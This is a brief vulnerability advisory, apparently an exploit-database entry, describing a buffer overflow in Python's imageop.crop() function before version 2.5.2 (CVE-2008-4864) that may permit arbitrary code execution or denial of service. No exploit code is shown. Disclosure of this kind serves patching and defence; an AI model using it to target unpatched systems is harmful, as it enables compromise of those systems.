Description

Python < 2.5.2 Imageop Module - 'imageop.crop()' Buffer Overflow Vulnerability. CVE-2008-4864. Dos exploits for multiple platform

                                        
                                            Python's 'imageop' module is prone to a buffer-overflow vulnerability.

Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python module. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.

This issue affects versions prior to Python 2.5.2.
